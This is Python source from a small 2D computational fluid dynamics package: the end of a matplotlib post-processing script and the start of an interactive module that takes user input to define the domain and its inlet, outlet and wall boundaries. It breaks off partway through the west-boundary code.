contf = ax.contourf(xq, yq, np.sqrt(uxq_values[max_iter-1]**2+uyq_values[max_iter-1]**2), levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
cbar = fig.colorbar(contf)
cbar.set_label('Vel')
elif(flag_resultColorMapMarker==3):
contf = ax.contourf(xq, yq, uxq_values[max_iter-1], levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
cbar = fig.colorbar(contf)
cbar.set_label('Vel_x')
elif(flag_resultColorMapMarker==4):
contf = ax.contourf(xq, yq, uyq_values[max_iter-1], levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
cbar = fig.colorbar(contf)
cbar.set_label('Vel_y')
if(flag_resultStreamlines=='y'):
ax.streamplot(Xq, Yq, np.flip(uxq_values[max_iter-1], 0) ,np.flip(uyq_values[max_iter-1], 0), density=flag_resultStreamlinesDensity, color='black', linewidth=1)
ax.xaxis.set_ticks([])
ax.yaxis.set_ticks([])
ax.axis([xMin, xMax, yMin, yMax])
ax.set_aspect('equal')
elif(flag_resultVectors=='y'):
ax.quiver(Xq, Yq, np.flip(uxq_values[max_iter-1], 0) ,np.flip(uyq_values[max_iter-1], 0))
ax.xaxis.set_ticks([])
ax.yaxis.set_ticks([])
ax.axis([xMin, xMax, yMin, yMax])
ax.set_aspect('equal')
# show plot
plt.show()
flag_newMapOK = int(input("\n1. Continue with Map \n2. Generate again \n"))
if(flag_newMapOK==2):
continue
flag_plotall = int(input("\n0. Plot Last frame only [n] - [jpg]\n1. Plot every n iterations - [GIF]\n"))
if(flag_plotall!=0):
xq = np.linspace(xMin, xMax, num=2*nx+1)
yq = np.linspace(yMin, yMax, num=2*ny+1)
xp = np.linspace(xMin+dx/2, xMax-dx/2, num=nx)
yp = np.linspace(yMax-dy/2, yMin+dy/2, num=ny)
Xq, Yq = np.meshgrid(xq, yq)
Lx = xMax-xMin
Ly = yMax-yMin
fig, ax = plt.subplots(figsize =(Lx*10, Ly*10))
if(flag_resultColorMap=='y'):
levels = np.linspace(min_resultColorMap, max_resultColorMap, num=20)
if(flag_resultColorMapMarker==1):
contf = ax.contourf(xp, yp, P_values[0], levels=levels, cmap=plt.cm.plasma)
cbar = fig.colorbar(contf)
cbar.set_label('P')
elif(flag_resultColorMapMarker==2):
contf = ax.contourf(xq, yq, np.sqrt(uxq_values[0]**2+uyq_values[0]**2), levels=levels, cmap=plt.cm.plasma)
cbar = fig.colorbar(contf)
cbar.set_label('Vel')
elif(flag_resultColorMapMarker==3):
contf = ax.contourf(xq, yq, uxq_values[0], levels=levels, cmap=plt.cm.plasma)
cbar = fig.colorbar(contf)
cbar.set_label('Vel_x')
elif(flag_resultColorMapMarker==4):
contf = ax.contourf(xq, yq, uyq_values[0], levels=levels, cmap=plt.cm.plasma)
cbar = fig.colorbar(contf)
cbar.set_label('Vel_y')
def animate(i):
ax.clear()
if(flag_resultGeometry=='y'):
ax.fill(Points_x, Points_y, color='black')
if(flag_resultColorMap=='y'):
levels = np.linspace(min_resultColorMap, max_resultColorMap, num=20)
if(flag_resultColorMapMarker==1):
contf = ax.contourf(xp, yp, P_values[i], levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
# cbar = fig.colorbar(contf)
# cbar.set_label('P')
elif(flag_resultColorMapMarker==2):
contf = ax.contourf(xq, yq, np.sqrt(uxq_values[i]**2+uyq_values[i]**2), levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
# cbar = fig.colorbar(contf)
# cbar.set_label('Vel')
elif(flag_resultColorMapMarker==3):
contf = ax.contourf(xq, yq, uxq_values[i], levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
# cbar = fig.colorbar(contf)
# cbar.set_label('Vel_x')
elif(flag_resultColorMapMarker==4):
contf = ax.contourf(xq, yq, uyq_values[i], levels=levels, cmap=plt.cm.plasma)
if(flag_resultColorMapContourlines=='y'):
cont = ax.contour(contf, levels=contf.levels[::ContourlinesDensity], colors='r')
# ax.clabel(cont, colors='w', fontsize=14)
# cbar = fig.colorbar(contf)
# cbar.set_label('Vel_y')
if(flag_resultStreamlines=='y'):
ax.streamplot(Xq, Yq, np.flip(uxq_values[i], 0) ,np.flip(uyq_values[i], 0), density=flag_resultStreamlinesDensity, color='black', linewidth=1)
elif(flag_resultVectors=='y'):
ax.quiver(Xq, Yq, np.flip(uxq_values[i], 0) ,np.flip(uyq_values[i], 0))
ax.set_title('Map-{} Step-[{}]'.format(mapCounter, i))
interval = 0.1
ani = animation.FuncAnimation(fig ,animate, max_iter, interval=interval*1e+3,blit=False)
writergif = animation.PillowWriter(fps=10)
ani.save(caseFolder+"/Map-{}.gif".format(mapCounter), writer = writergif)
if(flag_plotall==0):
fig.savefig(caseFolder+"/Map-{} Step-[{}].jpg".format(mapCounter, max_iter))
flag_newMap = input("Generate another Map ?? [y/n]")
mapCounter+=1 | 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/postProcessing.py | postProcessing.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
import numpy as np
from matplotlib import pyplot as plt
import os
def domain(caseFolder):
# Domain input
xMin = float(input("\nEnter X_min value\n"))
xMax = float(input("\nEnter X_max value\n"))
dx_temp = float(input("\nEnter Cell size in X-axis [dx]\n"))
nx = int((xMax-xMin)/dx_temp)
dx = (xMax-xMin)/nx
print("\n--- No. of elements in X-axis [{}] ---\n".format(nx))
yMin = float(input("\nEnter Y_min value\n"))
yMax = float(input("\nEnter Y_max value\n"))
dy_temp = float(input("\nEnter Cell size in Y-axis [dy]\n"))
ny = int((yMax-yMin)/dy_temp)
dy = (yMax-yMin)/ny
print("\n--- No. of elements in Y-axis [{}] ---\n".format(ny))
temp = "/boundary.txt"
boundary_info = open(caseFolder+temp, 'w')
# Boundary revealing Matrix
B1 = 2*np.ones((ny+1, nx+1))
# Scalar Matrix [U, V, P]
B2 = -1000.5*np.ones((ny+1, nx+1))
# Domain Matrix
D = []
D.append(B1)
D.append(B2)
D.append(B2.copy())
D.append(B2.copy())
# Boundary Definition
flag_Boundary = 0
flag_SouthBoundary = 0
flag_NorthBoundary = 0
flag_WestBoundary = 0
flag_EastBoundary = 0
flag_Outlet = 0
# Boundary Defining Loop
while (flag_Boundary < 1):
# Southern Boundary Defining Loop
while (flag_SouthBoundary < 1):
flag_Inlet_SouthBoundary = 0
flag_Outlet_SouthBoundary = 0
flag_SlidingWall_SouthBoundary = 0
flag = input("\nInlet in South Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Inlet_SouthBoundary = 1
flag = input("\nSliding Wall in South Boundary ?? [y/n]\n")
if(flag=='y'):
flag_SlidingWall_SouthBoundary = 1
flag = input("\nOutlet in South Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Outlet_SouthBoundary = 1
# Initialising Boundary Markers
south_Boundary = np.zeros((3, 6))
south_Boundary[1, 0] = 1
south_Boundary[2, 0] = -1
# Temporary Wall
south_Boundary[0, 1] = xMin
south_Boundary[0, 2] = xMax
D[0][-1, :] = 0
D[1][-1, :] = 0
D[2][-1, :] = 0
# South Boundary Sliding U-velocity
if(flag_SlidingWall_SouthBoundary==1):
south_Boundary[0, 3] = float(input("\nEnter U-Velocity for Sliding Wall in South Boundary\n"))
D[1][-1, 1:nx] = south_Boundary[0, 3]
# Inlet definition in South Boundary
if(flag_Inlet_SouthBoundary==1):
south_Boundary[1, 1] = float(input("\nEnter xmin for Inlet in South Boundary\n"))
southInlet_min_index = int((south_Boundary[1, 1]-xMin)/dx)
if(southInlet_min_index==0):
southInlet_min_index+=1
south_Boundary[1, 2] = float(input("\nEnter xmax for Inlet in South Boundary\n"))
southInlet_max_index = int((south_Boundary[1, 2]-xMin)/dx)
if(southInlet_max_index==nx):
southInlet_max_index-=1
south_Boundary[1, 4] = float(input("\nEnter V-Velocity for Inlet in South Boundary\n"))
# Boundary Marker
D[0][-1, southInlet_min_index:southInlet_max_index+1] = 1.0
# U-vel - Initialised to 0
D[1][-1, southInlet_min_index:southInlet_max_index+1] = 0
# V-vel - User Initialised
D[2][-1, southInlet_min_index:southInlet_max_index+1] = south_Boundary[1, 4]
# Outlet definition in South Boundary
if(flag_Outlet_SouthBoundary==1):
flag_Outlet = 1
south_Boundary[2, 1] = float(input("\nEnter xmin for Outlet in South Boundary\n"))
southOutlet_min_index = int((south_Boundary[2, 1]-xMin)/dx)
if(southOutlet_min_index==0):
southOutlet_min_index+=1
south_Boundary[2, 2] = float(input("\nEnter xmax for Outlet in South Boundary\n"))
southOutlet_max_index = int((south_Boundary[2, 2]-xMin)/dx)
if(southOutlet_max_index==nx):
southOutlet_max_index-=1
south_Boundary[2, 5] = float(input("\nEnter Pressure for Outlet in South Boundary\n"))
# Boundary Marker
D[0][-1, southOutlet_min_index:southOutlet_max_index+1] = -1.0
# U-vel - Uninitialised
D[1][-1, southOutlet_min_index:southOutlet_max_index+1] = -1000.5
# V-vel - Uninitialised
D[2][-1, southOutlet_min_index:southOutlet_max_index+1] = -1000.5
# Pressure - User Initialised
D[3][-1, southOutlet_min_index:southOutlet_max_index+1] = south_Boundary[2, 5]
print("\n\n------------------SOUTH BOUNDARY------------------\n")
boundary_info.write("\n\n------------------SOUTH BOUNDARY------------------\n")
ite=0
while ite<nx+1:
if(D[0][-1, ite]==0):
ite1=ite+1
if(ite1==nx+1 and D[0][-1, ite-1]!=0):
print("\n[Wall]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
while ite1<nx+1:
if(D[0][-1, ite1]!=0):
print("\n[Wall]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
if(flag_SlidingWall_SouthBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[1][-1, ite1-1]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[1][-1, ite1-1]))
ite=ite1-1
break
if(ite1==nx):
print("\n[Wall]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
print("\nNo. of elements = [{}] \n".format(ite1-ite+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-ite+1))
if(flag_SlidingWall_SouthBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[1][-1, ite1-1]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[1][-1, ite1-1]))
ite=ite1-1
break
ite1=ite1+1
if(D[0][-1, ite]==1):
ite1 = ite+1
while ite1<nx+1:
if(D[0][-1, ite1]!=1):
print("\n[Inlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
print("\nInlet V-Velocity {}\n".format(D[2][-1, ite1-1]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\nInlet V-Velocity {}\n".format(D[2][-1, ite1-1]))
ite=ite1-1
break
if(ite1==nx):
print("\n[Inlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
print("\nNo. of elements = [{}] \n".format(ite1-ite+1))
print("\nInlet V-Velocity {}\n".format(D[2][-1, ite1-1]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-ite+1))
boundary_info.write("\nInlet V-Velocity {}\n".format(D[2][-1, ite1-1]))
ite=ite1-1
break
ite1=ite1+1
if(D[0][-1, ite]==-1):
ite1=ite+1
while ite1<nx+1:
if(D[0][-1, ite1]!=-1):
print("\n[Outlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
print("\nOutlet Pressure {}\n".format(D[3][-1, ite1-1]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][-1, ite1-1]))
ite=ite1-1
break
if(ite1==nx):
print("\n[Outlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
print("\nNo. of elements = [{}] \n".format(ite1-ite+1))
print("\nOutlet Pressure {}\n".format(D[3][-1, ite1-1]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-ite+1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][-1, ite1-1]))
ite=ite1-1
break
ite1=ite1+1
ite=ite+1
flag = input("\nFinished with South Boundary Condition ?? [y/n]\n")
if(flag=='y'):
flag_SouthBoundary = 1
print("\n--------------------------------------------------\n")
boundary_info.write("\n--------------------------------------------------\n")
# Northern Boundary Defining Loop
while (flag_NorthBoundary < 1):
flag_Inlet_NorthBoundary = 0
flag_Outlet_NorthBoundary = 0
flag_SlidingWall_NorthBoundary = 0
flag = input("\nInlet in North Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Inlet_NorthBoundary = 1
flag = input("\nSliding Wall in North Boundary ?? [y/n]\n")
if(flag=='y'):
flag_SlidingWall_NorthBoundary = 1
flag = input("\nOutlet in North Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Outlet_NorthBoundary = 1
# Initialising Boundary Markers
north_Boundary = np.zeros((3, 6))
north_Boundary[1, 0] = 1
north_Boundary[2, 0] = -1
# Temporary Wall
north_Boundary[0, 1] = xMin
north_Boundary[0, 2] = xMax
D[0][0, :] = 0
D[1][0, :] = 0
D[2][0, :] = 0
# North Boundary Sliding U-velocity
if(flag_SlidingWall_NorthBoundary==1):
north_Boundary[0, 3] = float(input("\nEnter U-Velocity for Sliding Wall in North Boundary\n"))
D[1][0, 1:nx] = north_Boundary[0, 3]
# Inlet definition in North Boundary
if(flag_Inlet_NorthBoundary==1):
north_Boundary[1, 1] = float(input("\nEnter xmin for Inlet in North Boundary\n"))
northInlet_min_index = int((north_Boundary[1, 1]-xMin)/dx)
if(northInlet_min_index==0):
northInlet_min_index+=1
north_Boundary[1, 2] = float(input("\nEnter xmax for Inlet in North Boundary\n"))
northInlet_max_index = int((north_Boundary[1, 2]-xMin)/dx)
if(northInlet_max_index==nx):
northInlet_max_index-=1
north_Boundary[1, 4] = float(input("\nEnter V-Velocity for Inlet in North Boundary\n"))
# Boundary Marker
D[0][0, northInlet_min_index:northInlet_max_index+1] = 1.0
# U-vel Initialised to 0
D[1][0, northInlet_min_index:northInlet_max_index+1] = 0.0
# V-vel User Initialised
D[2][0, northInlet_min_index:northInlet_max_index+1] = north_Boundary[1, 4]
# Outlet definition in North Boundary
if(flag_Outlet_NorthBoundary==1):
flag_Outlet = 1
north_Boundary[2, 1] = float(input("\nEnter xmin for Outlet in North Boundary\n"))
northOutlet_min_index = int((north_Boundary[2, 1]-xMin)/dx)
if(northOutlet_min_index==0):
northOutlet_min_index+=1
north_Boundary[2, 2] = float(input("\nEnter xmax for Outlet in North Boundary\n"))
northOutlet_max_index = int((north_Boundary[2, 2]-xMin)/dx)
if(northOutlet_max_index==nx):
northOutlet_max_index-=1
north_Boundary[2, 5] = float(input("\nEnter Pressure for Outlet in North Boundary\n"))
# Boundary Marker
D[0][0, northOutlet_min_index:northOutlet_max_index+1] = -1.0
# U-vel Uninitialised
D[1][0, northOutlet_min_index:northOutlet_max_index+1] = -1000.5
# V-vel Uninitialised
D[2][0, northOutlet_min_index:northOutlet_max_index+1] = -1000.5
# Pressure User Initialised
D[3][0, northOutlet_min_index:northOutlet_max_index+1] = north_Boundary[2, 5]
print("\n\n------------------NORTH BOUNDARY------------------\n")
boundary_info.write("\n\n------------------NORTH BOUNDARY------------------\n")
ite=0
while ite<nx+1:
if(D[0][0, ite]==0):
ite1=ite+1
if(ite1==nx+1 and D[0][0, ite-1]!=0):
print("\n[Wall]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
while ite1<nx+1:
if(D[0][0, ite1]!=0):
print("\n[Wall]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
if(flag_SlidingWall_NorthBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[1][0, ite1-1]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[1][0, ite1-1]))
ite=ite1-1
break
if(ite1==nx):
print("\n[Wall]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
print("\nNo. of elements = [{}] \n".format(ite1-ite+1))
boundary_info.write("\n[Wall]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-ite+1))
if(flag_SlidingWall_NorthBoundary==1):
print("\nSliding Wall Velocity {}\n".format(D[1][0, ite1-1]))
boundary_info.write("\nSliding Wall Velocity {}\n".format(D[1][0, ite1-1]))
ite=ite1-1
break
ite1=ite1+1
if(D[0][0, ite]==1):
ite1 = ite+1
while ite1<nx+1:
if(D[0][0, ite1]!=1):
print("\n[Inlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
print("\nInlet V-Velocity {}\n".format(D[2][0, ite1-1]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\nInlet V-Velocity {}\n".format(D[2][0, ite1-1]))
ite=ite1-1
break
if(ite1==nx):
print("\n[Inlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
print("\nNo. of elements = [{}] \n".format(ite1-ite+1))
print("\nInlet V-Velocity {}\n".format(D[2][0, ite1-1]))
boundary_info.write("\n[Inlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-ite+1))
boundary_info.write("\nInlet V-Velocity {}\n".format(D[2][0, ite1-1]))
ite=ite1-1
break
ite1=ite1+1
if(D[0][0, ite]==-1):
ite1=ite+1
while ite1<nx+1:
if(D[0][0, ite1]!=-1):
print("\n[Outlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
print("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
print("\nOutlet Pressure {}\n".format(D[3][0, ite1-1]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1-1)*dx, ite1-1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-1-ite+1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][0, ite1-1]))
ite=ite1-1
break
if(ite1==nx):
print("\n[Outlet]\n")
print("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
print("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
print("\nNo. of elements = [{}] \n".format(ite1-ite+1))
print("\nOutlet Pressure {}\n".format(D[3][0, ite1-1]))
boundary_info.write("\n[Outlet]\n")
boundary_info.write("\nxMin = [{}] Starting Index = [{}]\n ".format(xMin+ite*dx, ite))
boundary_info.write("\nxMax = [{}] Ending Index = [{}]\n ".format(xMin+(ite1)*dx, ite1))
boundary_info.write("\nNo. of elements = [{}] \n".format(ite1-ite+1))
boundary_info.write("\nOutlet Pressure {}\n".format(D[3][0, ite1-1]))
ite=ite1-1
break
ite1=ite1+1
ite=ite+1
flag = input("\nFinished with North Boundary Condition ?? [y/n]\n")
if(flag=='y'):
flag_NorthBoundary = 1
print("\n--------------------------------------------------\n")
boundary_info.write("\n--------------------------------------------------\n")
# Western Boundary Defining Loop
while (flag_WestBoundary < 1):
flag_Inlet_WestBoundary = 0
flag_Outlet_WestBoundary = 0
flag_SlidingWall_WestBoundary = 0
flag = input("\nInlet in West Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Inlet_WestBoundary = 1
flag = input("\nSliding Wall in West Boundary ?? [y/n]\n")
if(flag=='y'):
flag_SlidingWall_WestBoundary = 1
flag = input("\nOutlet in West Boundary ?? [y/n]\n")
if(flag=='y'):
flag_Outlet_WestBoundary = 1
# Initialising Boundary Markers
west_Boundary = np.zeros((3, 6))
west_Boundary[1, 0] = 1
west_Boundary[2, 0] = -1
# Temporary Wall
west_Boundary[0, 1] = yMin
west_Boundary[0, 2] = yMax
D[0][:, 0] = 0
D[1][:, 0] = 0
D[2][:, 0] = 0
# West Boundary Sliding U-velocity
if(flag_SlidingWall_WestBoundary==1):
west_Boundary[0, 4] = float(input("\nEnter V-Velocity for Sliding Wall in West Boundary\n"))
D[2][1:ny, 0] = west_Boundary[0, 4]
# Inlet definition in West Boundary
if(flag_Inlet_WestBoundary==1):
west_Boundary[1, 1] = float(input("\nEnter ymin for Inlet in West Boundary\n"))
westInlet_bottom_index = int((yMax-west_Boundary[1, 1])/dy)
if(westInlet_bottom_index==ny):
westInlet_bottom_index-=1
west_Boundary[1, 2] = float(input("\nEnter ymax for Inlet in West Boundary\n"))
westInlet_top_index = int((yMax-west_Boundary[1, 2])/dy)
if(westInlet_top_index==0):
westInlet_top_index+=1
west_Boundary[1, 3] = float(input("\nEnter U-Velocity for Inlet in West Boundary\n"))
# Boundary Marker
D[0][westInlet_top_index:westInlet_bottom_index+1, 0] = 1.0
# U-vel User Initialised
D[1][westInlet_top_index:westInlet_bottom_index+1, 0] = west_Boundary[1, 3]
# V-vel Initialised to 0
D[2][westInlet_top_index:westInlet_bottom_index+1, 0] = 0.0
# Outlet definition in West Boundary
if(flag_Outlet_WestBoundary==1):
flag_Outlet = 1
west_Boundary[2, 1] = float(input("\nEnter ymin for Outlet in West Boundary\n"))
westOutlet_bottom_index = int((yMax-west_Boundary[2, 1])/dy)
if(westOutlet_bottom_index==ny):
westOutlet_bottom_index-=1
west_Boundary[2, 2] = float(input("\nEnter ymax for Outlet in West Boundary\n"))
westOutlet_top_index = int((yMax-west_Boundary[2, 2])/dy)
if(westOutlet_top_index==0):
westOutlet_top_index+=1
west_Boundary[2, 5] = float(input("\nEnter Pressure for Outlet in West Boundary\n"))
# Boundary Marker
D[0][westOutlet_top_index:westOutlet_bottom_index+1, 0] = -1.0
# U-vel Uninitialised
D[1][westOutlet_top_index:westOutlet_bottom_index+1, 0] = -1000.5
# V-vel Uninitialised
D[2][westOutlet_top_index:westOutlet_bottom_index+1, 0] = -1000.5
# Pressure User Initialised
D[3][westOutlet_top_index:westOutlet_bottom_index+1, 0] = west_Boundary[2, 5]
print("\n\n------------------WEST BOUNDARY-----------------\n")
boundary_info.write("\n\n------------------WEST BOUNDARY-----------------\n")
ite=ny
while ite>-1:
if(D[0][ite, 0]==0):
ite1=ite-1
if(ite1==-1 and D[0][ite+1, 0]!=0):
print("\n[Wall]\n")
